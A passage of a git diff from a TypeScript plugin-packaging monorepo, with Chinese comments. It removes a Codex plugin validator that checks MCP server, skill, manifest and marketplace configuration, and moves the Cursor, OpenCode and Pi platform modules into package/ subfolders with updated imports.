serverPath); - continue; - } - /** 当前传输唯一允许的字段集合。 */ - const fields = remote ? MCP_HTTP_FIELDS : MCP_STDIO_FIELDS; - for (const field of Object.keys(candidate)) { - if (!fields.has(field)) - report(context, 'CODEX_MCP_FIELD_UNKNOWN', `Unknown Codex MCP field "${field}".`, [...serverPath, field]); - } - if (local) { - if (typeof candidate.command !== 'string' || candidate.command.trim().length === 0) - report(context, 'CODEX_MCP_COMMAND_INVALID', 'stdio MCP command must be a non-empty string.', [...serverPath, 'command']); - if (candidate.args !== undefined - && (!Array.isArray(candidate.args) || candidate.args.some(argument => typeof argument !== 'string'))) { - report(context, 'CODEX_MCP_ARGS_INVALID', 'stdio MCP args must contain only strings.', [...serverPath, 'args']); - } - if (candidate.cwd !== undefined && candidate.cwd !== '.') - report(context, 'CODEX_MCP_CWD_INVALID', 'Plugin stdio MCP cwd must be the Plugin root ".".', [...serverPath, 'cwd']); - validateMcpStringMap(context, candidate.env, 'CODEX_MCP_ENV_INVALID', 'stdio MCP env', [...serverPath, 'env']); - if (candidate.env_vars !== undefined - && (!Array.isArray(candidate.env_vars) || candidate.env_vars.some(variable => typeof variable !== 'string' || !ENV_NAME_PATTERN.test(variable)) - || new Set(candidate.env_vars).size !== candidate.env_vars.length)) { - report(context, 'CODEX_MCP_ENV_VARS_INVALID', 'stdio MCP env_vars must contain unique environment names.', [...serverPath, 'env_vars']); - } - continue; - } - if (typeof candidate.url !== 'string') { - report(context, 'CODEX_MCP_URL_INVALID', 'HTTP MCP url must be an HTTP(S) URL without credentials.', [...serverPath, 'url']); - } else { - try { - /** Codex remote MCP 不接受 URL 内联凭据。 */ - const url = new URL(candidate.url); - if ((url.protocol !== 'http:' && url.protocol !== 'https:') || url.username !== '' || url.password !== '') - throw new TypeError('unsafe'); - } catch { - report(context, 'CODEX_MCP_URL_INVALID', 'HTTP MCP url must be an HTTP(S) URL without credentials.', [...serverPath, 'url']); - } - } - if (candidate.bearer_token_env_var !== undefined - && (typeof candidate.bearer_token_env_var !== 'string' || !ENV_NAME_PATTERN.test(candidate.bearer_token_env_var))) { - report(context, 'CODEX_MCP_BEARER_INVALID', 'bearer_token_env_var must be an environment name.', [...serverPath, 'bearer_token_env_var']); - } - if (candidate.scopes !== undefined - && (!Array.isArray(candidate.scopes) || candidate.scopes.length === 0 - || candidate.scopes.some(scope => typeof scope !== 'string' || scope.trim().length === 0) - || new Set(candidate.scopes).size !== candidate.scopes.length)) { - report(context, 'CODEX_MCP_SCOPES_INVALID', 'MCP scopes must contain unique non-empty strings.', [...serverPath, 'scopes']); - } - validateMcpStringMap(context, candidate.http_headers, 'CODEX_MCP_HEADERS_INVALID', 'HTTP MCP headers', [...serverPath, 'http_headers']); - validateMcpStringMap(context, candidate.env_http_headers, 'CODEX_MCP_ENV_HEADERS_INVALID', 'HTTP MCP env headers', [...serverPath, 'env_http_headers'], true); - } -} - -/** 读取并校验 Codex Plugin 根内被引用的 `.mcp.json`。 */ -async function validateMcpFile( - context: PlatformValidateContext, - pluginRoot: string, - reference: string, - fieldPath: readonly (string | number)[], -): Promise { - try { - /** MCP 配置引用相对于当前 Plugin 根解析。 */ - const mcpPath = path.join(context.candidate.root, pluginRoot, reference.slice(2)); - /** Codex `.mcp.json` 顶层直接是 Server 映射。 */ - const value: unknown = JSON.parse(await fs.readFile(mcpPath, 'utf8')); - validateMcpServers(context, value as JsonValue, fieldPath); - } catch { - report(context, 'CODEX_MCP_CONFIG_READ_FAILED', 'mcpServers reference must contain valid JSON.', fieldPath); - } -} - -/** - * 校验 Skill 元数据中的相对资源引用。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param assets 当前 Package 的 Asset 路径集合。 - * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 - * @param skillId 当前 Skill 的最终目录 ID。 - * @param field 元数据资源字段名。 - * @param reference 相对于 Skill 根的资源路径。 - */ -function validateSkillAssetReference( - context: PlatformValidateContext, - assets: ReadonlySet, - skillId: string, - field: string, - reference: string, -): void { - /** Skill 资源遵循同一 `./` 安全规则,但解析基准是当前 Skill 根。 */ - if (!isSafePluginReference(reference)) { - report(context, 'CODEX_SKILL_ASSET_UNSAFE', `${field} must start with ./ and stay inside the Skill root.`, ['skills', skillId, 'agents', 'openai.yaml', 'interface', field]); - return; - } - /** Skill 相对引用转换后的完整 Asset 路径。 */ - const assetPath = `skills/${skillId}/${reference.slice(2)}`; - if (!assets.has(assetPath)) { - report(context, 'CODEX_SKILL_ASSET_MISSING', `${field} references a missing Skill asset.`, ['skills', skillId, 'agents', 'openai.yaml', 'interface', field]); - } -} - -/** - * 校验一个 Skill 的 `agents/openai.yaml` 官方结构。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param assets 当前 Package 的 Asset 路径集合。 - * @param skillId 当前 Skill 的最终目录 ID。 - */ -async function validateSkillMetadata( - context: PlatformValidateContext, - assets: ReadonlySet, - pluginRoot: string, - skillId: string, -): Promise { - /** 当前 Skill 元数据的固定 Asset 路径。 */ - const metadataPath = `skills/${skillId}/agents/openai.yaml`; - if (!assets.has(metadataPath)) - return; - try { - /** 从已物化候选读取 UTF-8 Skill 元数据。 */ - const source = await fs.readFile(path.join(context.candidate.root, pluginRoot, metadataPath), 'utf8'); - /** YAML 顶层必须为可验证的映射。 */ - const metadata = parseYamlObject(context, source, metadataPath); - if (metadata === undefined) - return; - for (const field of Object.keys(metadata)) { - if (!SKILL_METADATA_FIELDS.has(field)) - report(context, 'CODEX_SKILL_METADATA_FIELD_UNKNOWN', `Unknown ${metadataPath} field "${field}".`); - } - if (!isRecord(metadata.interface)) { - report(context, 'CODEX_SKILL_INTERFACE_REQUIRED', `${metadataPath} must contain an interface mapping.`); - return; - } - /** Skill interface 中已经通过对象校验的字段。 */ - const skillInterface = metadata.interface; - for (const field of Object.keys(skillInterface)) { - if (!SKILL_INTERFACE_FIELDS.has(field)) - report(context, 'CODEX_SKILL_INTERFACE_FIELD_UNKNOWN', `Unknown Skill interface field "${field}".`); - } - /** Skill 元数据存在时必须同时提供的两个展示字段。 */ - for (const field of ['display_name', 'short_description'] as const) { - if (typeof skillInterface[field] !== 'string' || skillInterface[field].trim().length === 0) - report(context, 'CODEX_SKILL_INTERFACE_FIELD_REQUIRED', `Skill interface.${field} must be a non-empty string.`); - } - for (const field of ['icon_small', 'icon_large'] as const) { - /** 当前可选 Skill 图片引用。 */ - const candidate = skillInterface[field]; - if (candidate !== undefined) { - if (typeof candidate !== 'string' || candidate.trim().length === 0) - report(context, 'CODEX_SKILL_ASSET_INVALID', `Skill interface.${field} must be a non-empty path.`); - else - validateSkillAssetReference(context, assets, skillId, field, candidate); - } - } - if (skillInterface.brand_color !== undefined - && (typeof skillInterface.brand_color !== 'string' || !CODEX_BRAND_COLOR_PATTERN.test(skillInterface.brand_color))) { - report(context, 'CODEX_SKILL_BRAND_COLOR_INVALID', 'Skill interface.brand_color must be a six-digit hexadecimal color.'); - } - if (skillInterface.default_prompt !== undefined - && (typeof skillInterface.default_prompt !== 'string' || skillInterface.default_prompt.trim().length === 0)) { - report(context, 'CODEX_SKILL_DEFAULT_PROMPT_INVALID', 'Skill interface.default_prompt must be a non-empty string.'); - } - if (metadata.policy !== undefined) { - if (!isRecord(metadata.policy)) { - report(context, 'CODEX_SKILL_POLICY_INVALID', 'Skill policy must be a YAML mapping.'); - } else { - for (const field of Object.keys(metadata.policy)) { - if (!SKILL_POLICY_FIELDS.has(field)) - report(context, 'CODEX_SKILL_POLICY_FIELD_UNKNOWN', `Unknown Skill policy field "${field}".`); - } - if (metadata.policy.allow_implicit_invocation !== undefined - && typeof metadata.policy.allow_implicit_invocation !== 'boolean') { - report(context, 'CODEX_SKILL_POLICY_INVALID', 'Skill policy.allow_implicit_invocation must be a boolean.'); - } - if (metadata.policy.products !== undefined - && (!Array.isArray(metadata.policy.products) - || metadata.policy.products.length === 0 - || metadata.policy.products.some(product => typeof product !== 'string' || !SKILL_PRODUCTS.has(product)) - || new Set(metadata.policy.products).size !== metadata.policy.products.length)) { - report(context, 'CODEX_SKILL_POLICY_INVALID', 'Skill policy.products must contain CHAT, CODEX, or both without duplicates.'); - } - } - } - if (metadata.dependencies !== undefined) { - if (!isRecord(metadata.dependencies) - || Object.keys(metadata.dependencies).some(field => field !== 'tools') - || !Array.isArray(metadata.dependencies.tools)) { - report(context, 'CODEX_SKILL_DEPENDENCIES_INVALID', 'Skill dependencies may contain only a tools array.'); - } - } - } catch { - report(context, 'CODEX_SKILL_METADATA_READ_FAILED', `${metadataPath} must be readable UTF-8 YAML.`); - } -} - -/** - * 校验一个最终 Skill 的 Markdown、frontmatter、正文与可选元数据。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param assets 当前 Package 的 Asset 路径集合。 - * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 - * @param pluginName 当前 Plugin 的稳定机器名称。 - * @param skillId 当前 Skill 的最终目录 ID。 - * @param names 已验证 Skill frontmatter 名称的全局索引。 - */ -async function validateSkill( - context: PlatformValidateContext, - assets: ReadonlySet, - pluginRoot: string, - pluginName: string | undefined, - skillId: string, - names: Set, -): Promise { - /** 当前 Skill Manifest 的固定 Asset 路径。 */ - const manifestPath = `skills/${skillId}/SKILL.md`; - if (!assets.has(manifestPath)) { - report(context, 'CODEX_SKILL_MANIFEST_MISSING', `Skill directory "${skillId}" must contain SKILL.md.`, ['skills', skillId]); - return; - } - try { - /** 从已物化候选读取最终 Skill Markdown。 */ - const source = await fs.readFile(path.join(context.candidate.root, pluginRoot, manifestPath), 'utf8'); - /** Frontmatter 与正文使用固定边界,拒绝缺失或未闭合标记。 */ - const match = /^---\r?\n([\s\S]*?)\r?\n---(?:\r?\n|$)([\s\S]*)$/u.exec(source); - if (match === null) { - report(context, 'CODEX_SKILL_FRONTMATTER_INVALID', `${manifestPath} must start with closed YAML frontmatter.`); - return; - } - /** 已从正则边界提取的 YAML frontmatter。 */ - const frontmatter = parseYamlObject(context, match[1]!, manifestPath); - if (frontmatter === undefined) - return; - /** frontmatter 声明的 Skill 机器名称。 */ - const name = frontmatter.name; - if (typeof name !== 'string' || !SKILL_ID_PATTERN.test(name)) { - report(context, 'CODEX_SKILL_NAME_INVALID', `${manifestPath} name must use lowercase kebab-case.`); - } else { - /** Skill name 按平台最终选择器语义执行大小写不敏感唯一性。 */ - const key = name.toLocaleLowerCase('en-US'); - if (names.has(key)) - report(context, 'CODEX_SKILL_NAME_DUPLICATE', `Skill name "${name}" is duplicated.`); - names.add(key); - if (name !== skillId) - report(context, 'CODEX_SKILL_NAME_MISMATCH', `${manifestPath} name must match its directory ID "${skillId}".`); - if (pluginName !== undefined && `${pluginName}:${name}`.length > 64) - report(context, 'CODEX_SKILL_IDENTITY_TOO_LONG', `Plugin and Skill identity "${pluginName}:${name}" exceeds 64 characters.`); - } - if (typeof frontmatter.description !== 'string' - || frontmatter.description.trim().length === 0 - || frontmatter.description.length > 1_024) { - report(context, 'CODEX_SKILL_DESCRIPTION_INVALID', `${manifestPath} description must contain 1 to 1024 characters.`); - } - if (match[2]!.trim().length === 0) - report(context, 'CODEX_SKILL_BODY_EMPTY', `${manifestPath} instructions must not be empty.`); - await validateSkillMetadata(context, assets, pluginRoot, skillId); - } catch { - report(context, 'CODEX_SKILL_READ_FAILED', `${manifestPath} must be readable UTF-8 Markdown.`); - } -} - -/** - * 校验 `skills/` 根下每个直接子目录及其内容协议。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param assets 当前 Package 的 Asset 路径集合。 - * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 - * @param pluginName 当前 Plugin 的稳定机器名称。 - */ -async function validateSkills( - context: PlatformValidateContext, - assets: ReadonlySet, - pluginRoot: string, - pluginName: string | undefined, -): Promise { - /** 从任意 Skill Asset 收集的直接子目录 ID。 */ - const directories = new Set(); - for (const asset of assets) { - if (!asset.startsWith('skills/')) - continue; - /** 当前 Skill Asset 的 POSIX 路径片段。 */ - const segments = asset.split('/'); - if (segments.length < 3 || segments[1] === '') { - report(context, 'CODEX_SKILL_PATH_INVALID', `Invalid Skill Asset path "${asset}".`, ['skills']); - continue; - } - directories.add(segments[1]!); - if (asset.endsWith('/SKILL.md') && segments.length !== 3) - report(context, 'CODEX_SKILL_MANIFEST_NESTED', 'SKILL.md must be an immediate child of its Skill directory.', ['skills', segments[1]!]); - } - if (directories.size === 0) { - report(context, 'CODEX_SKILL_REQUIRED', 'A Codex Plugin must contain at least one immediate child Skill.', ['skills']); - return; - } - /** 已验证 Skill frontmatter 名称的全局唯一性集合。 */ - const names = new Set(); - /** skillId 表示当前排序后的 Skill,用于生成确定诊断顺序。 */ - for (const skillId of [...directories].sort(compareCodeUnits)) { - if (!SKILL_ID_PATTERN.test(skillId)) - report(context, 'CODEX_SKILL_DIRECTORY_INVALID', `Skill directory "${skillId}" must use lowercase kebab-case.`, ['skills', skillId]); - await validateSkill(context, assets, pluginRoot, pluginName, skillId, names); - } -} - -/** - * 校验 Plugin Manifest 字段、Skill 根和 Extension 引用。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param manifest 已解析的 Codex Plugin Manifest。 - * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 - */ -async function validatePluginManifest( - context: PlatformValidateContext, - manifest: JsonRecord, - pluginRoot = '', -): Promise { - /** 当前 Plugin 安装根内的相对 Asset 路径集合。 */ - const assets = scopedAssets(context, pluginRoot); - for (const field of Object.keys(manifest)) { - if (!PLUGIN_FIELDS.has(field)) - report(context, 'CODEX_MANIFEST_FIELD_UNKNOWN', `Unknown Codex Plugin field "${field}".`, [field]); - } - /** Codex Plugin Manifest 的三个稳定必填字符串字段。 */ - const required = ['name', 'version', 'description'] as const; - for (const field of required) { - if (typeof manifest[field] !== 'string' || manifest[field].trim().length === 0) - report(context, 'CODEX_MANIFEST_FIELD_REQUIRED', `${field} must be a non-empty string.`, [field]); - } - if (typeof manifest.name === 'string' - && (manifest.name.length > 64 || !PLUGIN_NAME_PATTERN.test(manifest.name))) { - report(context, 'CODEX_MANIFEST_NAME_INVALID', 'name must use the official ASCII Plugin name format and contain at most 64 characters.', ['name']); - } - if (typeof manifest.version === 'string' - && (manifest.version.length > 64 || !SEMVER_PATTERN.test(manifest.version))) { - report(context, 'CODEX_MANIFEST_VERSION_INVALID', 'version must be a semantic version.', ['version']); - } - if (typeof manifest.description === 'string' && manifest.description.length > 1_024) - report(context, 'CODEX_MANIFEST_DESCRIPTION_INVALID', 'description must contain at most 1024 characters.', ['description']); - if (manifest.author !== undefined) { - /** 通过对象检查后的作者字段。 */ - const author = isRecord(manifest.author) ? manifest.author : undefined; - if (author === undefined || typeof author.name !== 'string' || author.name.trim().length === 0) { - report(context, 'CODEX_MANIFEST_AUTHOR_INVALID', 'author.name must be a non-empty string.', ['author', 'name']); - } else { - for (const field of ['email', 'url'] as const) { - if (author[field] !== undefined && (typeof author[field] !== 'string' || author[field].trim().length === 0)) - report(context, 'CODEX_MANIFEST_AUTHOR_INVALID', `author.${field} must be a non-empty string.`, ['author', field]); - } - if (typeof author.url === 'string' && (!isCodexHttpsUrl(author.url) || author.url.length > 2_048)) - report(context, 'CODEX_MANIFEST_AUTHOR_URL_INVALID', 'author.url must be an HTTPS URL without credentials.', ['author', 'url']); - } - } - for (const field of ['homepage', 'repository', 'license'] as const) { - if (manifest[field] !== undefined && (typeof manifest[field] !== 'string' || manifest[field].trim().length === 0)) - report(context, 'CODEX_MANIFEST_METADATA_INVALID', `${field} must be a non-empty string.`, [field]); - } - if (typeof manifest.homepage === 'string' && (!isCodexHttpsUrl(manifest.homepage) || manifest.homepage.length > 2_048)) - report(context, 'CODEX_MANIFEST_HOMEPAGE_INVALID', 'homepage must be an HTTPS URL without credentials.', ['homepage']); - if (manifest.keywords !== undefined - && (!Array.isArray(manifest.keywords) - || manifest.keywords.some(keyword => typeof keyword !== 'string' || keyword.trim().length === 0) - || new Set(manifest.keywords).size !== manifest.keywords.length)) { - report(context, 'CODEX_MANIFEST_KEYWORDS_INVALID', 'keywords must contain unique non-empty strings.', ['keywords']); - } - if (manifest.skills !== './skills/') - report(context, 'CODEX_SKILLS_PATH_INVALID', 'skills must point to the root ./skills/ directory.', ['skills']); - await validateSkills(context, assets, pluginRoot, typeof manifest.name === 'string' ? manifest.name : undefined); - if (manifest.interface !== undefined) - await validateInterface(context, assets, pluginRoot, manifest.interface); - if (manifest.mcpServers !== undefined) { - if (typeof manifest.mcpServers !== 'string') { - report(context, 'CODEX_MCP_REFERENCE_INVALID', 'mcpServers must be a Plugin-root file path.', ['mcpServers']); - } else { - validateReference(context, assets, 'mcpServers', manifest.mcpServers, ['mcpServers']); - if (isSafePluginReference(manifest.mcpServers) && referenceExists(assets, manifest.mcpServers)) - await validateMcpFile(context, pluginRoot, manifest.mcpServers, ['mcpServers']); - } - } - if (manifest.hooks !== undefined) - await validateHooks(context, assets, pluginRoot, manifest.hooks); - else if (assets.has('hooks/hooks.json')) - await validateHookFile(context, pluginRoot, './hooks/hooks.json', ['hooks']); -} - -/** - * 校验 Marketplace 根清单和自包含 Plugin 来源。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param marketplace 已解析的 Marketplace 清单。 - */ -async function validateMarketplace( - context: PlatformValidateContext, - marketplace: JsonRecord, -): Promise { - for (const field of Object.keys(marketplace)) { - if (!MARKETPLACE_FIELDS.has(field)) - report(context, 'CODEX_MARKETPLACE_FIELD_UNKNOWN', `Unknown Codex Marketplace field "${field}".`, [field]); - } - if (typeof marketplace.name !== 'string' || marketplace.name.trim().length === 0) - report(context, 'CODEX_MARKETPLACE_NAME_REQUIRED', 'Marketplace name must be a non-empty string.', ['name']); - if (!isRecord(marketplace.interface) - || typeof marketplace.interface.displayName !== 'string' - || marketplace.interface.displayName.trim().length === 0) { - report(context, 'CODEX_MARKETPLACE_INTERFACE_REQUIRED', 'Marketplace interface.displayName must be present.', ['interface', 'displayName']); - } - if (!Array.isArray(marketplace.plugins) - || marketplace.plugins.length === 0 - || marketplace.plugins.some(entry => !isRecord(entry))) { - report(context, 'CODEX_MARKETPLACE_PLUGIN_REQUIRED', 'Marketplace must contain one or more Plugin entries.', ['plugins']); - return; - } - /** 已验证来源用于阻止两个条目指向同一 Plugin 根。 */ - const sources = new Set(); - /** 已验证名称用于阻止 Marketplace 内出现选择器歧义。 */ - const names = new Set(); - /** [index, entryValue] 表示当前 Marketplace Plugin 条目。 */ - for (const [index, entryValue] of marketplace.plugins.entries()) { - /** plugins 已经整体通过对象检查后的当前条目。 */ - const entry = entryValue as JsonRecord; - for (const field of Object.keys(entry)) { - if (!MARKETPLACE_PLUGIN_FIELDS.has(field)) - report(context, 'CODEX_MARKETPLACE_PLUGIN_FIELD_UNKNOWN', `Unknown Marketplace Plugin field "${field}".`, ['plugins', index, field]); - } - /** 已通过对象形态检查的本地来源候选。 */ - const source = isRecord(entry.source) ? entry.source : undefined; - /** 当前来源中的本地路径候选。 */ - const sourcePath = source?.path; - /** 单项保持兼容根布局,多项必须各自进入稳定 plugins 子目录。 */ - const sourceValid = source?.source === 'local' - && typeof sourcePath === 'string' - && (marketplace.plugins.length === 1 ? sourcePath === './' : MARKETPLACE_PLUGIN_SOURCE_PATTERN.test(sourcePath)); - if (!sourceValid) { - report(context, 'CODEX_MARKETPLACE_SOURCE_INVALID', 'Single-Plugin source must be local "./"; multi-Plugin sources must use "./plugins/".', ['plugins', index, 'source']); - continue; - } - if (sources.has(sourcePath)) - report(context, 'CODEX_MARKETPLACE_SOURCE_DUPLICATE', 'Marketplace Plugin sources must be unique.', ['plugins', index, 'source', 'path']); - sources.add(sourcePath); - /** `./` 对应 Distribution 根,其余来源去掉协议前缀后作为 Plugin 根。 */ - const pluginRoot = sourcePath === './' ? '' : sourcePath.slice(2); - /** 当前来源根内必须存在且可解析的 Codex Plugin Manifest。 */ - const plugin = await readJson(context, pluginRoot === '' ? PLUGIN_MANIFEST_PATH : `${pluginRoot}/${PLUGIN_MANIFEST_PATH}`); - if (plugin === undefined) - continue; - await validatePluginManifest(context, plugin, pluginRoot); - if (entry.name !== plugin.name) - report(context, 'CODEX_MARKETPLACE_PLUGIN_MISMATCH', 'Marketplace Plugin name must match its bundled Plugin Manifest.', ['plugins', index, 'name']); - if (typeof entry.name === 'string') { - /** Marketplace 名称使用 Plugin Manifest 的稳定选择器值。 */ - const name = entry.name; - if (names.has(name)) - report(context, 'CODEX_MARKETPLACE_PLUGIN_DUPLICATE', 'Marketplace Plugin names must be unique.', ['plugins', index, 'name']); - names.add(name); - } - if (!isRecord(entry.policy) - || typeof entry.policy.installation !== 'string' - || !INSTALLATION_POLICIES.has(entry.policy.installation) - || entry.policy.authentication !== 'ON_INSTALL') { - report(context, 'CODEX_MARKETPLACE_POLICY_INVALID', 'Marketplace policy must include a supported installation value and ON_INSTALL authentication.', ['plugins', index, 'policy']); - } - if (typeof entry.category !== 'string' || !CATEGORIES.has(entry.category)) - report(context, 'CODEX_MARKETPLACE_CATEGORY_INVALID', 'Marketplace category must be an official Plugin category.', ['plugins', index, 'category']); - } -} - -/** - * 校验主 Plugin 或 Marketplace Distribution 的最终安装根契约。 - * - * @param context Core 提供的已安全物化候选。 - */ -export async function validateCodexPackage(context: PlatformValidateContext): Promise { - if (context.candidate.unit.type === 'marketplace') { - /** Distribution 额外要求 Repo Marketplace 固定路径。 */ - const marketplace = await readJson(context, MARKETPLACE_MANIFEST_PATH); - if (marketplace !== undefined) - await validateMarketplace(context, marketplace); - return; - } - /** 主单元始终使用安装根固定 Plugin Manifest。 */ - const plugin = await readJson(context, PLUGIN_MANIFEST_PATH); - if (plugin !== undefined) - await validatePluginManifest(context, plugin); - if (context.candidate.unit.assets.some(asset => asset.path === MARKETPLACE_MANIFEST_PATH)) { - report(context, 'CODEX_MARKETPLACE_IN_PRIMARY', 'Primary Plugin must not contain a Marketplace manifest.'); - } -} diff --git a/packages/platforms/codex/test/platform.test.ts b/packages/platforms/codex/test/platform.test.ts index 2558057..f6173db 100644 --- a/packages/platforms/codex/test/platform.test.ts +++ b/packages/platforms/codex/test/platform.test.ts @@ -10,7 +10,7 @@ import { type ConfigCommand, } from '@acplugin/core'; import { codex } from '../src/index.js'; -import { MARKETPLACE_MANIFEST_PATH, PLUGIN_MANIFEST_PATH } from '../src/manifest.js'; +import { MARKETPLACE_MANIFEST_PATH, PLUGIN_MANIFEST_PATH } from '../src/package/manifest.js'; /** 测试结束后统一删除的临时工程根。 */ const temporaryRoots: string[] = []; diff --git a/packages/platforms/cursor/src/index.ts b/packages/platforms/cursor/src/index.ts index a8154c6..82027fc 100644 --- a/packages/platforms/cursor/src/index.ts +++ b/packages/platforms/cursor/src/index.ts @@ -3,10 +3,10 @@ import { type AcpluginPlatform, type JsonObject, } from '@tokenroll/acplugin/sdk'; -import { createCursorComponents, validateCursorComponent } from './components.js'; -import { createPluginDocument, validatePlatformOptions } from './manifest.js'; +import { createCursorComponents, validateCursorComponent } from './package/components.js'; +import { createPluginDocument, validatePlatformOptions } from './package/manifest.js'; import type { CursorPlatformOptions } from './types.js'; -import { validateCursorPackage } from './validator.js'; +import { validateCursorPackage } from './package/validator.js'; export type { CursorPlatformOptions } from './types.js'; diff --git a/packages/platforms/cursor/src/components.ts b/packages/platforms/cursor/src/package/components.ts similarity index 100% rename from packages/platforms/cursor/src/components.ts rename to packages/platforms/cursor/src/package/components.ts diff --git a/packages/platforms/cursor/src/manifest.ts b/packages/platforms/cursor/src/package/manifest.ts similarity index 99% rename from packages/platforms/cursor/src/manifest.ts rename to packages/platforms/cursor/src/package/manifest.ts index 843f442..e6a67df 100644 --- a/packages/platforms/cursor/src/manifest.ts +++ b/packages/platforms/cursor/src/package/manifest.ts @@ -5,7 +5,7 @@ import type { PackageDocumentInput, PluginMetadata, } from '@tokenroll/acplugin/sdk'; -import type { CursorPlatformOptions, CursorPluginManifest } from './types.js'; +import type { CursorPlatformOptions, CursorPluginManifest } from '../types.js'; /** Cursor Plugin 清单的稳定逻辑 Document ID。 */ export const PLUGIN_MANIFEST_ID = 'plugin-manifest'; diff --git a/packages/platforms/cursor/src/validator.ts b/packages/platforms/cursor/src/package/validator.ts similarity index 100% rename from packages/platforms/cursor/src/validator.ts rename to packages/platforms/cursor/src/package/validator.ts diff --git a/packages/platforms/cursor/test/platform.test.ts b/packages/platforms/cursor/test/platform.test.ts index f9d93ac..da7b1ff 100644 --- a/packages/platforms/cursor/test/platform.test.ts +++ b/packages/platforms/cursor/test/platform.test.ts @@ -13,7 +13,7 @@ import { runKernelBuildSession, } from '@acplugin/core'; import { cursor } from '../src/index.js'; -import { PLUGIN_MANIFEST_PATH } from '../src/manifest.js'; +import { PLUGIN_MANIFEST_PATH } from '../src/package/manifest.js'; /** 测试结束后统一删除的临时工程根目录。 */ const temporaryRoots: string[] = []; diff --git a/packages/platforms/opencode/src/index.ts b/packages/platforms/opencode/src/index.ts index 326ed70..5ee9ac1 100644 --- a/packages/platforms/opencode/src/index.ts +++ b/packages/platforms/opencode/src/index.ts @@ -3,10 +3,10 @@ import { type AcpluginPlatform, type JsonObject, } from '@tokenroll/acplugin/sdk'; -import { createOpenCodeComponents, validateOpenCodeComponent } from './components.js'; -import { createWorkspaceDocument, validatePlatformOptions } from './config-document.js'; +import { createOpenCodeComponents, validateOpenCodeComponent } from './package/components.js'; +import { createWorkspaceDocument, validatePlatformOptions } from './package/config-document.js'; import type { OpenCodePlatformOptions } from './types.js'; -import { validateOpenCodePackage } from './validator.js'; +import { validateOpenCodePackage } from './package/validator.js'; export type { OpenCodePlatformOptions, OpenCodeWorkspaceOptions } from './types.js'; diff --git a/packages/platforms/opencode/src/components.ts b/packages/platforms/opencode/src/package/components.ts similarity index 100% rename from packages/platforms/opencode/src/components.ts rename to packages/platforms/opencode/src/package/components.ts diff --git a/packages/platforms/opencode/src/config-document.ts b/packages/platforms/opencode/src/package/config-document.ts similarity index 99% rename from packages/platforms/opencode/src/config-document.ts rename to packages/platforms/opencode/src/package/config-document.ts index dc8ea21..b0463a3 100644 --- a/packages/platforms/opencode/src/config-document.ts +++ b/packages/platforms/opencode/src/package/config-document.ts @@ -4,7 +4,7 @@ import type { PackageDocumentInput, PluginMetadata, } from '@tokenroll/acplugin/sdk'; -import type { OpenCodePlatformOptions, OpenCodeWorkspaceOptions } from './types.js'; +import type { OpenCodePlatformOptions, OpenCodeWorkspaceOptions } from '../types.js'; /** OpenCode workspace 配置的稳定逻辑 Document ID。 */ export const WORKSPACE_CONFIG_ID = 'workspace-config'; diff --git a/packages/platforms/opencode/src/validator.ts b/packages/platforms/opencode/src/package/validator.ts similarity index 100% rename from packages/platforms/opencode/src/validator.ts rename to packages/platforms/opencode/src/package/validator.ts diff --git a/packages/platforms/opencode/test/platform.test.ts b/packages/platforms/opencode/test/platform.test.ts index dff5ba6..96becbc 100644 --- a/packages/platforms/opencode/test/platform.test.ts +++ b/packages/platforms/opencode/test/platform.test.ts @@ -13,7 +13,7 @@ import { type JsonValue, } from '@tokenroll/acplugin/sdk'; import { openCode } from '../src/index.js'; -import { WORKSPACE_CONFIG_PATH } from '../src/config-document.js'; +import { WORKSPACE_CONFIG_PATH } from '../src/package/config-document.js'; /** 测试结束后统一删除的临时工程根目录。 */ const temporaryRoots: string[] = []; diff --git a/packages/platforms/pi/src/index.ts b/packages/platforms/pi/src/index.ts index 7f2143d..fb6a42e 100644 --- a/packages/platforms/pi/src/index.ts +++ b/packages/platforms/pi/src/index.ts @@ -8,10 +8,10 @@ import { hasGeneratedSkills, validateGeneratedSkillIds, validatePiComponent, -} from './components.js'; -import { createPackageDocument, validatePlatformOptions } from './manifest.js'; +} from './package/components.js'; +import { createPackageDocument, validatePlatformOptions } from './package/manifest.js'; import type { PiPlatformOptions } from './types.js'; -import { validatePiPackage } from './validator.js'; +import { validatePiPackage } from './package/validator.js'; export type { PiPackageOptions, PiPlatformOptions } from './types.js'; diff --git a/packages/platforms/pi/src/components.ts b/packages/platforms/pi/src/package/components.ts similarity index 100% rename from packages/platforms/pi/src/components.ts rename to packages/platforms/pi/src/package/components.ts diff --git a/packages/platforms/pi/src/manifest.ts b/packages/platforms/pi/src/package/manifest.ts similarity index 98% rename from packages/platforms/pi/src/manifest.ts rename to packages/platforms/pi/src/package/manifest.ts index 36e79e7..729b981 100644 --- a/packages/platforms/pi/src/manifest.ts +++ b/packages/platforms/pi/src/package/manifest.ts @@ -4,7 +4,7 @@ import type { PackageDocumentInput, PluginMetadata, } from '@tokenroll/acplugin/sdk'; -import type { PiPackageOptions, PiPlatformOptions } from './types.js'; +import type { PiPackageOptions, PiPlatformOptions } from '../types.js'; /** Pi npm package Manifest 的稳定 Document ID。 */ export const PACKAGE_MANIFEST_ID = 'package-manifest'; diff --git a/packages/platforms/pi/src/validator.ts b/packages/platforms/pi/src/package/validator.ts similarity index 100% rename from packages/platforms/pi/src/validator.ts rename to packages/platforms/pi/src/package/validator.ts diff --git a/packages/platforms/pi/test/platform.test.ts b/packages/platforms/pi/test/platform.test.ts index 8408efd..3fc997b 100644 --- a/packages/platforms/pi/test/platform.test.ts +++ b/packages/platforms/pi/test/platform.test.ts @@ -14,8 +14,8 @@ import { type ValidatePackageContext, } from '@acplugin/core'; import { pi } from '../src/index.js'; -import { PACKAGE_MANIFEST_PATH } from '../src/manifest.js'; -import { validatePiPackage } from '../src/validator.js'; +import { PACKAGE_MANIFEST_PATH } from '../src/package/manifest.js'; +import { validatePiPackage } from '../src/package/validator.js'; /** 测试结束后统一删除的临时工程根目录。 */ const temporaryRoots: string[] = []; diff --git a/packages/platforms/pi/vitest.config.ts b/packages/platforms/pi/vitest.config.ts index 8ea0294..6b2152e 100644 --- a/packages/platforms/pi/vitest.config.ts 